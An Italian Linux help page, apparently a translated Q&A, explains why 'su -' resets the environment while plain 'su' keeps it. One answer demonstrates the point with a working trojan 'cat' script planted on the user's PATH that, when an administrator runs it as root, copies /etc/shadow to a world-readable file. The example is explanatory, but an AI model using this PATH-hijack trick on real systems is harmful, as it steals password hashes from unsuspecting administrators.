GNU/Linux >> Linux Esercitazione >  >> Linux

Perché usiamo su - e non solo su?

su - richiama una shell di login dopo aver cambiato utente. Una shell di login resetta la maggior parte delle variabili d'ambiente, fornendo una base pulita.

su semplicemente cambia utente, fornendo una shell normale con un ambiente quasi uguale a quello del vecchio utente.

Immagina di essere uno sviluppatore di software con un normale accesso utente a una macchina e il tuo amministratore ignorante non ti darà l'accesso come root. Cerchiamo (si spera) di ingannarlo.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Ora chiedi al tuo amministratore perché non puoi cat il file fittizio nella tua cartella home, semplicemente non funzionerà!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Se il tuo amministratore non è così intelligente o è solo un po' pigro, potrebbe venire alla tua scrivania e provare con i suoi poteri di superutente:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Oh! Grazie, super amministratore!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Lui, lui.

Forse hai notato che il file $PATH corrotto la variabile non è stata reimpostata. Questo non sarebbe successo se l'amministratore avesse invocato su - invece.


su - ti accede completamente come root, mentre su fa in modo che tu stia fingendo di essere root.

L'esempio più ovvio di ciò è ~ è la home directory di root se usi su - , ma la tua home directory se usi su .

A seconda del tuo sistema, potrebbe anche significare differenze nel prompt, PATH , o file di cronologia.

Quindi, se fai parte di un team che amministra un sistema e il tuo collega ti dà un comando da eseguire, sai che funzionerà allo stesso modo se entrambi state usando su - , ma se state usando entrambi su , potrebbero esserci delle differenze dovute alla diversa configurazione della shell.

D'altra parte, se vuoi eseguire un comando come root ma usando la tua configurazione, allora forse su è meglio per te.

Inoltre, non dimenticare sudo , che ha un -s opzione per avviare una shell in esecuzione come root. Naturalmente, anche questo ha regole diverse e cambiano a seconda della distribuzione che stai utilizzando.


La differenza principale è :

su - username imposta l'ambiente shell come se fosse un login pulito come l'utente specificato, accede e utilizza le variabili di ambiente degli utenti specificati,

su username avvia semplicemente una shell con le impostazioni dell'ambiente corrente per l'utente specificato.

Se il nome utente non è specificato con su e su - , l'account root è implicito per impostazione predefinita.


Linux
  1. Redis come cache:come funziona e perché usarlo

  2. Perché non usare "quale"? Cosa usare allora?

  3. Perché usare Install invece di Cp e Mkdir?

  4. Quando e perché dovrei usare Apt-get Update?

  5. Quando e perché usare Docker

Perché uso rxvt come terminale

7 motivi per cui uso Manjaro Linux e dovresti farlo anche tu

Che cos'è una macchina virtuale e perché usarla?

Che cosa sono i contenitori multi-account di Firefox? Perché e come usarlo?

Come e perché usare Linux per installare Telnet

Perché eval dovrebbe essere evitato in Bash e cosa dovrei usare invece?